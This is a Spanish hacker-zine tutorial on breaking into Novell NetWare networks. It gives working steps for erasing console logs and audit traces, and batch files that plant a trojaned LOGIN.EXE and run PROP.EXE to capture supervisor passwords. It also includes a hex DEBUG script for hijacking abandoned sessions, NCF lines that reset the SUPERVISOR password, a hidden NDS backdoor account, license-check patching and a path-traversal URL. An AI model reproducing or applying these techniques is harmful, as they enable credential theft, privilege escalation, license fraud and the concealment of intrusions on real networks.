-[ CURSO DE NOVELL NETWARE -IV- Y -V- ]--------------------------------------

-[ by MadFran ]-------------------------------------------------------SET-16-

 

Cuarto capitulo sobre Novell Netware

 

Capitulo - 04 LA CONSOLA

 

 

04-1 Como evitar los registros de consola.

 

Necesitamos acceso a la consola y privilegios de super. La red debe tener

3.11 o superior y que funcione CONLOG.NLM. Cualquier red en estas condiciones

graba todos los mensajes en un archivo. Si lanzas SETPWD desde la consola, la

respuesta se graba en el archivo log. Aqui estan los pasos para determinar

si esta activada y como evitarlo.

 

      - Teclea MODULES en la consola, busca CONLOG.NLM, si lo encuentras....

        esta activo.

      - Busca CONSOLE.LOG en SYS:ETC. Es un fichero de texto que se puede

        mirar pero no editar ni borrar si CONLOG esta activo.

      - Unload CONLOG en la consola.

      - Borra, o mejor edita CONSOLE.LOG, borrando tus rastros.

      - Carga CONLOG. Te dara un mensaje.

      - Lanza PURGE desde SYS:ETC para borrar viejas versiones de CONSOLE.LOG

        que tu editor puede haber dejado.

 

 

04-2 Se puede utilizar la password de RCONSOLE para que trabaje como Super ?

 

Si y no. En version 3.x, la password del super siempre funciona.

 

Un error frecuente acerca de la password del super en 3.x es utilizar un

switch para que solo lo utilice la password del super.

Funciona asi :

 

LOAD REMOTE /P=

 

en lugar de

 

LOAD REMOTE RCONPASSWORD

 

El admin piensa que /P= desconecta a cualquier menos a super para RCONSOLE.

De hecho la password se queda en /P=, dejandote entrar.

 

El segundo error mas frecuente es utilizar -S

 

La version 4.1 es un poco diferente. Funciona de la forma siguiente :

 

      - En la consola teclea REMOTE SECRET, donde SECRET es la password de la

        consola.

      - Teclea REMOTE ENCRYPT. Te pedira una password para encriptar.

      - Esto te dara la version encriptada del password, y te dara la opcion

        de escribir LDREMOTE.NCF en el directorio SYS:SYSTEM, conteniendo

        todas las entradas que soportan la carga del Remote Console.

      - Se puede lanzar LDREMOTE a partir de tu AUTOEXEC.NCF, o puedes

        cambiar la linea LOAD REMOTE en AUTOEXEC.NCF de la forma siguiente:

 

             LOAD REMOTE SECRET

             se convierte en

             LOAD REMOTE -E 870B7E366363

 

Otra nota.

Para asegurar que el password de super funcione con RCONSOLE (4.02 o

superior), a¤ade el switch para ocultar -US

 

LOAD REMOTE -E 870B7E366363 -US

 

Otro switch no documentado es -NP, que significa sin password.

 

 

04-3 Como puede evitar el bloqueo de MONITOR

 

Hay un camino facil y sencillo para hacerlo para hacerlo en 3.11 si tienes un

servidor de impresion.

He aqui la explotacion del bug en 3.11

 

      - Utiliza PCONSOLE para parar el servidor de impresion. Esto provoca

        que la ventana del monitor vaya a la ventana de la impresion y espera

        el enter para salir de la ventana.

 

PCONSOLE se lanza sin ninguna dificultad, pero una vez dentro no he encontrado

ninguna opcion para parar el servidor.

 

      - Vete a la ventana de la consola y teclea UNLOAD MONITOR.

 

      - Mira en AUTOEXEC.NCF la linea PSERVER.NLM y manualmente vuelve a

        cargar PSERVER.NLM

 

Tanto en 3.x como en 4.x, intenta los pasos de la seccion 02-6.

Puedes probar cualquier password en la consola desbloqueada adema de

desconectar la proteccion de password en 3.x

 

 

 

Quinto capitulo sobre Novell Netware

 

Capitulo - 05 ACCESOS A ARCHIVOS Y DIRECTORIOS

 

 

05-1 Como puedo ver archivos y directorios ocultos.

 

En lugar del comando normal DIR, utiliza NDIR (facil, no?).

NDIR *.* /S /H te permitira ver tambien los archivos de sistema.

 

 

05-2 Como puedo evitar el flag "execute-only"

 

Si un archivo esta marcado como solo para ejecutar, todavia es posible

abrirlo. Abre el archivo con un programa que lea ejecutables y grabalo en

otro directorio.

 

Tambien puedes probar X-AWAY.EXE para eliminar esta marca si el programa

FLAG.EXE de Novell no puede hacerlo. Pero, de nuevo, X-AWAY.EXE solo funciona

con privilegios de super.

 

Para desactivar el chequeo de accesos de super en X-AWAY, intenta lo

siguiente :

 

        REN X-AWAY.EXE WORK

        DEBUG WORK

        EB84 EB

        W

        Q

        REN WORK X-AWAY.EXE

 

Listo ! Cualquiera puede copiar archivos de solo ejecucion. El unico problema

es que necesitas practicamente derechos totales en el directorio donde

residen los archivos.

 

 

05-3 Como ocultar nuestra presencia despues de alterar archivos

 

El mejor metodo es usar Filer. Pasos a seguir para eliminar alteraciones de

archivos.

 

     - Lanza Filer o utiliza NDIR y apunta los atributos del archivo objetivo,

       sobre todo la fecha y propietario del archivo.

     - Realiza los cambios en el archivo.

     - Lanza Filer o utliza NDIR para ver si los atributos han cambiado. Si

       es asi, vuelvelos a sus valores originales.

 

Pulsando F1 en Filer, tendras toda la ayuda en linea que necesites, el camino

mas rapido es lanzar Filer en el directorio donde esta el archivo, marcarlo

y pulsar enter, seleccionando File Options y despues View/Set File

Information. View y Edit y lo que desees.

 

 

05-4 Que es un troyano de Netware

 

Un troyano de Netware es un programa que supuestamente hace una cosa pero

realmente hace otra, y esto utilizando las utilidades API de Netware. Yo

nunca me he encontrado personalmente uno, pero asi es como en teoria

funcionan.

 

     - El troyano se coloca en una terminal a ser posible que utilice el

       administrador. El troyano se puede llamar algo parecido a CHKVOL.COM o

       VOLINFO.COM, que es un nombre real pero con extension COM. Se tiene

       que colocar en el path de la estacion de trabajo.

 

     - Cuando se ejecuta, el troyano utiliza las llamadas API para determinar

       si la persona conectada tiene derechos de super, si no es asi pasa a

       la siguiente tarea. En caso contrario se ejecuta alguna accion para

       romper la seguridad.

 

     - Despues se ejecuta CHKVOL.EXE o VOLINFO.EXE real como si nada.

 

La rotura de la seguridad tipicamente lo hace algun tipo de actividad de

comando en linea que deberia ejecutarse por las llamadas del sistema.

Por ejemplo, PROP.EXE podria ejecutarse para construir una propiedad y

reemplazar LOGIN.EXE copiandolo en el server en el directorio SYS:LOGIN.

O RW que permite acceso al SYS:SYSTEM para no-super usuarios como si fuera

GUEST. Una vez activado el troyano se puede borrar a si mismo.

 

 

05-5 Que son los Trustee Diretory Assignments.

 

Lan God ha se¤alado que los Trustee Directory Assignements son los servicios

peor entendidos y mal configurados de Novell Netware. Tipicamente un sitio

seguro deberia tener Read y File Scan solo en pocos directorios, y no deberia

tener ningun derecho en el directorio raiz de ningun directorio. Se pueden

asignar derechos via el filtro Trustee Directory Assignements hacia abajo en

el arbol del directorio, de forma que si un usuario tiene acceso de escritura

en el directorio raiz, tambien tendra dichos derechos en todos los

directorios que se encuentren debajo (a no ser que explicitamente se limite

el derecho).

Los derechos no estan localizados en el bindery, sino en cada volumen.

 

A continuacion una breve descripcion de Trustees y Trustee Directory

Assignements copiados de : COMP.OS.NETWARE.SECURITY, FAQ

 

Un "Trustee" es cualquier usuario o grupo que tiene derechos de acceso en un

directorio. Los derechos de acceso son ligeramente distintos en Netware 2 que

en 3.

 

S - Supervisor. Cualquier usuario con derechos de supervisor en un directorio

    tendra todos los demas derechos, esten o no explicitamente declarados.

    Las cuentas con derechos de Supervisor conservaran estos derechos en

    cualquier directorio.

 

R - Leer. Da derechos de lectura de archivos.

 

C - Crear. Permite crear archivos y directorios. A no ser que tenga derechos

    de escritura, no podra editar los archivos que han sido creados.

 

W - Escribir. Permite al usuario hacer cambios en archivos. A no ser que

    tengan tambien derechos de creacion, no podras editarlos, ya que las

    operaciones de escritura solo pueden usarse para ampliar archivos (no

    truncarlos, cosa que hacen los editores normales).

 

E - Borrar. Permite borrar y eliminar archivos.

 

M - Modificar. Permite modificar atributos de archivos.

 

F - Mirar. Permite al usuario ver informacion de archivos y directorios. Si

    un usuario no tiene derechos de mirar, no tendra evidencia alguna de la

    existencia de los archivos.

 

A - Control de acceso. Permite al usuario cambiar los derechos. Le permitira

    dar accesos tipo A a otros, quitar derechos y revocar derechos

    especificos. El unico problema es que es incluso posible quitar derechos

    de si mismo, con lo cual,...los pierdes.

 

Esto es como hacer el organigrama de tu empresa y.... no ponerte.

 

 

05-6 Explotacion de alguna asignacion de derechos

 

Hay dos formas. En 3.x el grupo EVERYONE tiene derechos en SYS:MAIL. Esto

significa que el usuario (incluso GUEST) puede escribir archivos en cualquier

subdirectorio en SYS:MAIL.

 

No es totalmente cierto. Puedes escribir en los directorios que tienes

derechos. Estos varian en funcion de lusuario

 

Las primeras versiones de Netware incluian un sencillo paquete de mail, y

todo nuevo usuario tiene un subdirectorio en MAIL con derechos RRCWEMF, con

su numero de identificacion. Un numero importante es el 1, que pertenece al

supervisor. Aqui hay un sistema de explotarlo.

 

TRUCO No 1

----------

 

- Login como GUEST y cambia al directorio SYS:MAIL

  (En realidad cualquier directorio es bueno)

 

- Teclea DIR. Veras un subdirectorio, este es el que pertenece a GUEST.

  Cambia a este subdirectorio (Por ejemplo C0003043)

 

- Teclea DIR. Si no hay ningun archivo llamado LOGIN, puedes proseguir.

  Si hay algun archivo LOGIN, incluso vacio, no puedes hacerlo.

 

- Copia la version itsme de PROP.EXE y LOGIN.EXE en el directorio

  SYS:MAIL\C0003043.

 

- Crea un archivo batch (llamalo BOM.BAT) en este directorio, con el

  siguiente contenido.

 

   @ECHO OFF

   FLAG \LOGIN\LOGIN.EXE N > NUL *REM Cambia los atributos de LOGIN a Normal

   COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL

   FLAG \LOGIN\LOGIN.EXE SRO > NUL *REM Cambia a S (Compartible)

   RO (Solo Lectura)

   \MAIL\C0003043\PROP -C > NUL

 

- Crea un archivo LOGIN.BAT con el contenido siguiente.

 

   MAP DISPLAY OFF

   MAP ERRORS OFF

   MAP G:=3DSYS:

   G: * REM En algun sistema DRIVE G:

   COMMAND /C #\MAIL\1\BOMB

   F: * REM En algun sistema DRIVE F:

   MAP DELETE G:

 

- Ahora copia los archivos en el directorio del supervisor desde el drive

  mapeado al volumen SYS:

 

   TYPE BOMB.BAT > \MAIL\1\BOMB.BAT

   TYPE LOGIN > \MAIL\1\LOGIN

 

Como no tengas derechos de supervisor, esto no hay quien lo haga

 

La proxima vez que el supervisor se conecte el archivo LOGIN.EXE original es

reemplazado y se ejecuta PROP.EXE, capturando passwords. Lanza PROP mas tarde

para cosechar los passwords cazados. Tendras todos los passwords (incluidos

los del supervisor). No te olvides de borrar los archivos LOGIN y BOMB.BAT.

El administrador puede evitar esto creando login scripts personales o

a¤adiendo un comando EXIT al final del System Login Scrip. Las ultimas

versiones de Netware crean un archivo LOGIN vacio en los directorios

SYS:MAIL.

 

TRUCO No 2

----------

 

Pegasus mail tiene un fallo que lo enlaza con los derechos de creacion en

SYS:MAIL. He aqui como usarlo :

 

- Creas un archivo RULES.PMQ que lanza un programa despues de recibir un

  mensaje mail. El programa es algo parecido a esto.

 

   COMMAND /C F:\MAIL\1\BOMB.BAT

 

- Supongamos que tu directorio mail es SYS:MAIL\C0003043. Copia PROP.EXE

  y LOGIN.EXE (version istme) en este directorio.

 

- Tu BOMB.BAT deberia ser algo asi.

 

   @ECHO OFF

   FLAG \LOGIN\LOGIN.EXE N > NUL

   COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL

   FLAG \LOGIN\LOGIN.EXE SRO > NUL

   \MAIL\C0003043\PROP -C > NUL

 

- Cuando el super lea el mail, se activa LOGIN.EXE y empieza a capturar

  passwords. Despues de adquirir derechos super, borra los archivos de

  SYS:MAIL\1

 

Este truco solo funciona si RULES.PMQ no existe en el directorio destino.

 

 

TRUCO #2a

---------

 

Si RULES.PMQ existe, no puedes hacerlo, ya que solo puedes crear archivos

nuevos en este directorio. Pero hay una posibilidad de que super lo haga por

ti.

 

- Crea extra reglas para Pegasus. Llamalas desde RULEA.PMQ hasta RULER.PMQ,

  y de RULET.PMQ hasta RULEZ.PMQ.

 

- La proxima vez que super se conecte, le dara un error.

 

- Intentara corregirlo borrando RULE?.PMQ,... y de paso borrara RULES.PMQ.

 

- Ahora puedes ir al TRUCO 2.

 

 

05-7 Algunas reglas generales sobre derechos.

 

Para ver tus derechos, utiliza el comando WHOAMI /R. A contimuacion un

resumen de los derechos mas comunes y su proposito. Donde aparece x,

significa que es igual la letra que aparece.

 

[SRCWEMFA] Significa que tienes todos los derechos.

 

[Sxxxxxxx] Solo aparece si eres supervisor o equivalente. Significa que

           tienes acceso pleno en este directorio y todos los subdirectorios.

           No puedes ser excluido de ningun subdirectorio aunque otro usuario

           explicitamente lo declare.

 

[xxxxxxxA] Es lo mejor despues de super. Significa que tienes control en

           todos los directorios y subdirectorios. Te pueden revocar los

           derechos en un subdirectorio pero siempre los puedes recuperar

           mediante herencias.

 

[_R____F_] Solo derechos de lectura. Tipico para directorios de software.

 

[_RCWEMFx] Lo que normalmente se tiene en el directorio propio. Si encuentras

           algun directorio con estos derechos, se puede utilizar para

           archivar ficheros (y saltarte las limitaciones de espacio).

 

[_RxW__Fx] Normalmente para archivos log. A no ser que tengas derechos C, no

           es posible editar los archivos en este directorio.

 

El comando RIGHTS te dira los derechos que tienes en un directorio en

particular. GRANT, REMOVE y REVOKE se utilizan para dar derechos.

 

 

05-8 Como puede ayudarte el acceso a los archivos NCF

 

El acceso a algun fichero .NCF puede evitar la seguridad, ya que

tradicionalmente estos archivos se lanzan desde la consola y se asume que

hay seguridad de acceso a la consola. La adicion de algunas lineas a alguno

de estos archivos te puede dar acceso al sistema.

 

El mas vulnerable es el AUTOEXEC.NCF. A¤adir un par de lineas para lanzar

BURGLAR.NLM o SETPWD.NLM te dara acceso sin duda. Pero recuerda que hay

otros archivos que te pueden ayudar. Por ejemplo ASTART.NCF y ASTOP.NCF

se usan para lanzar y parar Arcserve, el sistema mas popular de backup para

Netware. El archivo LDREMOTE.NCF, mencionado en el capitulo 04-2 es otro

objetivo potencial.

 

Las lineas que puedes a¤adir a archivos como estos son :

 

UNLOAD CONLOG

LOAD SETPWD SUPERVISOR SECRET

CLS

LOAD CONLOG

 

Se asume que tienes derechos de lectura y escritura en el sitio donde tienes

los archivos NCF y puedes copiar SETPWD.NLM en el server. Ten presente que

desmontando CONLOG solo cubriras tus trazas de forma parcial, en el archivo

CONSOLE.LOG sera obvio que CONLOG ha sido montado y desmontado. El comando

CLS es para borrar tus actividades de la pantalla de la consola.

 

El mejor NCF para esto es obviamente uno que se utilice durante el arranque

o durante operaciones automaticas. De esta forma un corto NCF y sus

actividades escaparan a los ojos del administrador.

 

 

05-9 Puede alguien hacer logout y tu aprovecharse de ello ?

 

Si, he aqui como.

 

Teclea el siguiente comando directamente en el DOS.

 

debug boo.com

e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74

e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d

e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e

e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06

e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00

rcx

50

w

q

 

Lanza esto en un terminal (Net 3.x o 2.x), y espera que alguien lo utilice

y despues se desconecte y lo abandone,.....Ooops.. aparentemente ha olvidado

hacer bien el logout.

 

Moraleja : Si utilizas una red con terminales publicos, ademas de logout

apaga el terminal al irte.

 

 

05-10 Otros programas que dan demasiados accesos

 

Netware NFS tiene varios bugs (ver seccion 07-6), asi como IntraNetware

(seccion 12)

 

Para accesos remotos, los hackers siempre buscan un Shiva. Mira, si un hacker

tiene el nombre de una cuenta, no le hace falta nombre de usuario ni password

para conectarse. Si un usuario de Shiva desconecta sin hacer logout, la

proxima persona que acceda tendra los derechos de la anterior. Shiva no

desconecta correctamente la conexion.

 

Shiva es un sistema multimodem muy comun para acceder telefonicamente a

las empresas

 

 

05-11 Como puedo evitar los limites de espacio en disco

 

Algunos administradores olvidan implementar restricciones en algunos

volumenes, pero dan accesos de escritura a todos. Esto permite utilizar mas

recursos de los previstos.

 

Algunos sistemas mantienen directorios en un volumen, y solo aplican

restricciones en este volumen. Aplicaciones y archivos de sistema se pueden

colocar en otros volumenes. Ya que algunas aplicaciones requieren derechos

de escritura en estos directorios, si no se limita el espacio, algunos

usuarios capaces de lanzar el programa pueden utilizar el espacio disponible

(Microsoft Mail y su volumen ..) Es el caso del SYS:MAIL\xxx.

 

 

-[ 0x0E ]--------------------------------------------------------------------

-[ CURSO DE NOVELL NETWARE -VI- Y -VII- ]------------------------------------

-[ by MadFran ]-------------------------------------------------------SET-17-

 

Sexto capitulo sobre Novell Netware

 

Capitulo - 06 DIVERTIRSE CON NETWARE 4.x

 

 

06-1. Cosas interesantes acerca de las licencias de Netware 4.x

 

Es posible cargar licencias multiples y combinar el numero total de usuarios.

Por ejemplo, si estas en una de estas clases de Novell CNE que os dan 2

licencias de 4.1, puedes coger el CD de todos y combinarlos en un servidor.

Si tienes 10 CDs, puedes obtener 20 licencias. No hay limite al numero de

licencias y usuarios, excepto por limitacion de hardware. Esto significa que

puedes cargar mas de una copia de 1000 usuarios Netware 4.1 en un servidor

(asumiendo que tienes una unica copia, no la misma copia dos veces).

 

itsme ha jugado un poco con estas herramientas, y tiene que decir lo

siguiente acerca de SERVER.EXE que viene con Netware 4 :

 

Que hay dentro de SERVER.EXE :

0001d7c7 server.nlm type=07

000d319d "Link" 000d504a

000d31a5 unicode.nlm type=00 (ordinry NLM)

000d504a "Link" 000d6e9c

000d5052 dsloader.nlm type=00 (ordinary NLM)

000d6e9c "Link" 000db808

000d6ea4 timesync.nlm type=00 (ordinary NLM)

000db808 polimgr.nlm type=0c ('hidden' NLM)

 

editando el binario de SERVER, y cambiando el tipo de polimgr.nlm de 0c a 00

(offset 007a o 000cb882 en SERVER.EXE), se convirtio en visible. Los NLM

invisibles estan protegidos contra debugging con el Netware debugger.

 

Polimgr.nlm maneja los archivos de licencia, despues de leer el archivo,

chequea con algun tipo de funcion si es un archivo valido la funcion hace

que siempre el retorno sea OK, entonces puedes crear cualquier numero de

licencias de usuario.

 

 

06-2 Como puedo saber si algo esta siendo Auditado.

 

Utiliza RCONSOLE y escanea el directorio de SYS:_NETWARE. Habra algun tipo de

archivos binarios llamados NET$AUDT.* si ha sido utilizado Auditing.

Los archivos antiguos de Audit se llamaran NET$AUDT.A00, .A01, etc

El archivo actual se llamaran NET$AUDT.CAF. Si no hay nada de eso, no se ha

auditado nunca. Para chequear si Auditing esta activo, intenta abrir el

archivo Auditing de esta forma :

 

LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF

 

Si sale algo (poco legible) significa que Auditing esta off. Si te da un

mensaje de error diciendo que NET$AUDT.CAF no existe y que hay que crearlo,

significa que el archivo esta abierto y Auditing esta activo en ALGO

(recuerda, EDIT.NLM normalmente maneja archivos abiertos bastante bien, pero

intentar abrir un archivo ya abierto en SYS:_NETWARE siempre da este error)

 

Tambien, si la red esta corriendo el software Novell's Web Server, utiliza un

browser e intenta :

 

http://nw41.nmrc.org/script/convert.bas?../../_netware/net$audt.caf

 

y si no recibes un error, Auditing esta o estaba activo. Mira la seccion

12-01 para detalles de este bug.

 

 

06-3 Donde estan los Login Scrips y como editarlos

 

El Login Scrips esta almacenado en SYS:_NETWARE. A pesar de que estos

ficheros son binarios, se pueden editar facilmente mediante el EDIT.NLM.

Escaneando, mediante RCONSOLE, los directorios en SYS:_NETWARE, encontraras

archivos con extension como .000, estos son probablemente Login Scrips.

Abrelos, son archivos de texto. Por ejemplo, si encuentras 00021440.000

 

LOAD EDIT SYS:_NETWARE\00021440.000

 

Si es un Login Script, lo veras en texto y podras editarlo y salvarlo. Esto

bypassa la seguridad de NDS, y es su mayor debilidad. Puedes utilizarlo para

dar a un usuario derechos extraordinarios que te permitan otras cosas,

incluyendo acceso completo a los archivos de sistema o cualquier servidor en

el arbol.

 

 

06-4 Cual es el rumoreado backdoor en NDS

 

El rumoreado backdoor en NDS existe. El rumor es que es un camino para

instalar un backdoor en un sistema en NDS completamente oculto para todos y

para todo. Hay un camino para hacer algo parecido, aunque el "oculto" es

parcialmente visible. Lo primero, necesitas acceso total a NDS. Pero si

puedes conseguir el password de Admin o equivalente, entonces puedes

instalar un backdoor que puede quedar escondido durante meses o a lo mejor

para siempre. Pasos a seguir :

 

- Conectate como Admin o equivalente.

- Lanza NWADMIN y se~ala un contenedor existente.

- Crea un nuevo contenedor dentro del anterior.

- Crea un nuevo usuario dentro del nuevo contenedor.

- Dale derechos totales sobre su propio objeto.

- Dale derechos totales sobre el nuevo contenedor.

- Dale equivalencia a Admin.

- Modifica el ACL al nuevo usuario de forma que no se pueda ver.

- Ajusta el Inherit Rights Filter en el nuevo contenedor de forma que nadie

  lo pueda ver.

 

Esta tecnica la pueden usar los admin paranoicos que quieren dar a otro

usuario acceso total a un contenedor, y este usuario quiere restringir el

acceso a este contenedor. Para prevenir el olvido de la palabra de paso por

parte del usuario (haciendo que toda una seccion del arbol desaparezca) un

admin puede utilizar tecnicas similares.

 

No he tenido la ocasion de testear completamente pero permanece totalmente

invisible al resto de la LAN. No requiere conocimientos superiores al medio

en NDS para implementarlo, sin embargo muchos admin no conocen como cuidar

a sus usuarios.

 

Supongamos que lo has instalado en la compa~ia XYZ, tu contenedor esta dentro

del contenedor MIS y se llama BADBOY. Tu backdoor se llama BACDOOR. Haz login

de la forma siguente :

 

LOGIN .BACKDOOR.BADBOY.MIS.XYZ

 

Ahora mostraras a las herramientas normales de red que hay una conexion

activa en el server, por tanto llamarlo "BACKDOOR" no es probablemente una

gran idea. Piensa en un nombre que sugiera una conexion automatica y solo

utilizarla cuando pienses que nadie esta alerta.

 

Si la red tiene Kane Security Analyst, puede encontrar el backdoor.

 

 

06-5 Como quitar NDS

 

Esto es peligroso. Puede hacer que pierdas la cuenta de Admin si pierdes la

password. Teclea en una consola 4.1

 

LOAD INSTALL -DSREMOVE

 

Ahora en el modulo INSTALL, intenta quitar NDS. Te pedira la password del

Admin, simplemente daselo. Si te da errores, "no problem". Continua y

puedes quitar NDS del server. Incluso si le has dado la password equivocada,

te dejara eliminar el NDS. Os digo que es realmente maligno.....

 

 

06-6 Como quitar Auditing si has perdido la Password Audit

 

Si el Auditor ha olvidado la password, intenta una simple limpieza y

recarga.. caramba, parece que te has desmayado....

 

Puedes intentar esto aunque no hay garantia de que funcione, es solo una

teoria. Como sabes los archivos Auditing estan localizados en SYS:_NETWARE.

En cuanto hay un Auditing activo, incluso borrando NDS y recreandolo no

desconectara Auditing. Si quieres puedes borrar y reconstruir SYS: que te lo

desconectara. Intenta el proceso que te se~alo si estas desesperado. Yo lo

he intentado en el Nomad Mobile Research Centre Lab e hice este trabajo un

par de veces --- pero una vez destroce el servidor y NDS. Otra vez

simplemente no funciono. Pero es asi como se hace :

 

- Mediante RCONSOLE, escanea el directorio y localiza los nombres exactos de

  los archivos de Audit. Sabemos que NET$AUDT.CAT lo es, pero hay otros

  archivos con extension .$AF.

- Utiliza las tecnicas descritas en 06-2 y determina exactamente que archivos

  estan abiertos en este server para Auditing.

- Intenta rearrancar el server y lanza un editor de sector.

- Busca el drive para los nombres de los archivos encontrados.

- Cambia todos los sucesos de estos archivos, salva los cambios y boot.

- Si no ha funcionado, intenta arrancar al server usando un SERVER.EXE

  version 3.x y localiza SYS:_NETWARE. Borra todos los archivos Auditing.

- Si esto no funciona, haz repetidos llamadas a las tablas SYS:_NETWARE

  (usando APIs) y o borra o cambia los archivos mencionados.

 

Como ultimo recurso (si estas en 4.11) mira la seccion 06-15

 

 

06-7 Guarda 4.x el password de LOGIN en un archivo temporal ?

 

Si y no. No en 4.2 o superior. Si en 4.0.

La version de LOGIN.EXE que se dio con 4.0 tiene un defecto que bajo ciertas

condiciones permite escribir cuentas y passwords en un archivo swap, creado

por LOGIN.EXE. Una vez ha ocurrido, el archivo podria no ser borrado, con

lo cual tanto la cuenta como el password puede ser visto en texto.

 

 

06-8 Cualquiera puede hacerse equivalente a cualquier otro incluyendo Admin?

 

Un par de cosas puede causar esto. Primero, pon los derechos para [PUBLIC],

despues pon el USER_TEMPLATE para derechos totales. Los derechos de escritura

para ACL te permitira algunas cosas interesantes, incluyendo hacerte a ti

mismo equivalente a Admin. Para ganar eqivalencia para cualquier cosa solo

hace falta derechos de READ y COMPARE.

 

La implicacion es obvia, pero dejar que os lo repita. Un backdoor puede

hacerse si una cuenta se genera de esta forma. Hemos creado una cuenta

llamada TEST que tiene suficientes derechos para hacer este tipo de cosas.

Simplemente conectate como TEST , hazte a ti mismo Admin, haz lo que

quieras, elimina al Admin,... y abre el infierno.

 

 

06-9 Puede resetear un NDS password con derechos limitados ?

 

Hay una utilidad freeware llamada N4PASS, que es util para Netware 4.10

(utiliza NDS calls y no esta basada en bindery).

 

La utilidad de este paquete es abilitar un Help Desk para resetear password

de usuarios sin cancelar toneladas de derechos. Utiliza acceso total y no

requiere manipulacion masivo de ACL para hacerlo.

 

Obviamente esta utilidad abre pocas puertas. El nombre es N4PA12.EXE y puede

bajarse de la web del autor.

 

http://FASTLANE.NET/HOMEPAGES/DCOLLINS

 

y al autor lo podeis encontrar en

 

DCOLLINS@FASTLANE.NET

 

Un par de cosas interesantes de esta utilidad, si se configura

incorrectamente el server puede verse comprometido de varias formas. Por

ejemplo, el password generado es un calculo que utiliza un archivo temporal,

la fecha, el loginname el HalpDesk loginname, el valor sencillo y algunas

otras cosas (en N4PASS.TXT)

Si N4PASS no lo borra inmediatamente, el archivo es copiable. Ademas, si los

derechos sobre el directorio de N4PASS estan abiertos, se puede descubrir la

password por defecto, por tanto, lee atentamente las instrucciones si estas

instalandolo. Si eres un hacker,...hazlo tambien.

 

 

06-10 Que es OS2NT-NLM

 

OS2NT.NLM es un NLM suministrado por Novell para recuperar/fijar Admin,

cuando se convierte en un objeto desconocido,... especialmente despues de

DSREPAIR.

 

Este modulo esta considerado como ultimo recurso NLM y tienes que contactar

con Novell para utilizarlo. A pesar de que no lo he visto nunca, se supone

que tiene que estar en uno de los FTP de Novell. Se piensa que esta

configurado por Novell para trabajar con tu numero de serie y es de una unica

utilizacion.

Tienes que demostrar a Novell quien eres y que tu copia esta registrada.

 

Se podria sospechar que es posible que este NLM se pueda hackear para evitar

el uso unico y el chequeo del numero de serie, pero un restore de NDS desde

un backup podria realizar todo esto mucho mejor. Este camino es un poco

destructivo.

 

 

06-11 Tienes que ser Admin para resetear un password ?

 

No. Hay una utilidad freeware llamada N4PASS, que se propone para Netware

4.10 (utiliza llamadas NDS y no se basa en el bindery). Mira 06-9 para

detalles. Seteando especificamente grupos que tienen acceso a otros password

de grupos, podrias tener un subconjunto de usuarios (el HelpDesk). Si eres

administrador probablemente quieres estar seguro que tu HelpDesk no te

resetea tu password de Admin.

 

 

06-12 Que pasa si no puedo ver SYS:_NETWARE utilizando RCONSOLE ?

 

Arrancando con el patch 410pt3 de Novell, no podras ver SYS:_NETWARE desde

RCONSOLE. Es sorprendente que la posibilidad de ver en este directorio es

cada vez mas dificil con cada nueva release.

 

Con Netware 4.11 no podras verlo con RCONSOLE. Pero no desesperes, hacker,

tus amigos en Novell no se han olvidado de vosotros (Seccion 06-15)

 

 

06-13 Consideraciones acerca de la seguridad en las particiones del arbol

 

La mayor parte de estas consideraciones en items individuales, pero aqui

analizaremos un poco acerca del particionado del arbol.

 

Como se dijo en la seccion 02-6, puedes configurar el bindery de un server

para ayudarte a recuperar una password de Admin olvidada. Se debe decir que

solo puedes acceder contenedores en las particiones del server actual.

 

En redes grandes las cosas son mas complejas. Por ejemplo, una cuenta de

supervisor (con acceso total al archivo del sistema) puede tener accesos

limitados en otro servidor. El numero de puntos debiles para intrusos crece

con el tama~o de la red. Un hacker podria explotar esto y alcanzar control

de otras particiones, si algun objeto en la primera particion que ha sido

comprometida tiene derechos en otras particiones.

 

Los intrusos podrian facilmente darse asi mismo equivalencia de seguridad

en este objeto o cambiar la password de los objetos con SYSCON, despues

hacer login a estos objetos y accedeer a los otras particiones.

 

En otras palabras, si un read/write o particion master se almacena en un

server, puede potencialmente manipular todos los objetos en esta particion

y a partir del momento que la password del supervisor puede ser reseteada

desde la consola, otras particiones corren riesgo.

 

Las replicas Read/Only de una particion por naturaleza no te permitira

aplicar tu bindery a un contenedor en esta area,... son,... solo lectura.

 

Desde luego alguien puede desconectar el server desde la red y lanzar

DSREPAIR en este server para cambiar la particion a master, pero esto es

mas bien extremo.

 

Novell recomienda restringir los derechos de los objetos a su propia

particion y crear particiones replica solo en servidores autentificados.

Pongamos un ejemplo para ilustrar :

 

- El servidor ACCOUNTING tiene un monton de hojas, documentos y una base

  de datos utilizada por el departamento de cuentas con todo tipo de

  informacion. El contenedor ACCT-USERS tiene derechos IRF.

- Hay una cuenta llamada MAINTENANCE en el contenedor ACCT_USERS cuya

  password puede ser reseteada por el manager ACCOUNTING.

  Esto se hace para cuando el administrador de la LAN necesita hacer algun

  tipo de mantenimiento, como construir identidades con derechos de acceso,

  etc. que el manager de ACCOUNTING no sabe hacer.

- Una replica de la particion con derechos de lectura/escritura, conteniendo

  el contenedor ACCT-USERS existe en un servidor lejano en una peque~a

  oficina de ventas. Un empleado temporal ha tenido acceso a la habitacion

  donde se encuentra el servidor.

- Una tarde el empleado temporal utiliza SETPWD.NLM y resetea la password de

  la cuenta MAINTENANCE.

- Al dia siguiente (despues de replicacion) el empleado fusila todos los

  documentos de ACCOUNTING incluyendo las nominas, informacion personal

  previsiones de ventas, planes de inversion,...

 

 

06-14 Puede un Supe de departamento llegar a ser Admin del arbol entero ?

 

Si bajo ciertas condiciones.

- El arbol tiene un OU llamado LAWDEPT.

- La cuenta Admin esta en la raiz del arbol.

- Una cuenta de supervisor departamental llamada FRED esta localizada en

  LAWDEPT con derechos Admin en LAWDEPT OU (Un autentificado de LAWDEPT y

  derechos super de objetos y propiedades).

- El server LawServer esta en el LAWDEPT OU con dos bindery, uno en LAWDEPT

  OU y otro en la raiz (por tanto Admin puede hacer login via el bindery

  si lo necesita).

- A pesar de que FRED solo puede hojear la raiz, puede lanzar SYSCON y

  modificar la cuenta Admin para ganar mas accesos asi como passwords.

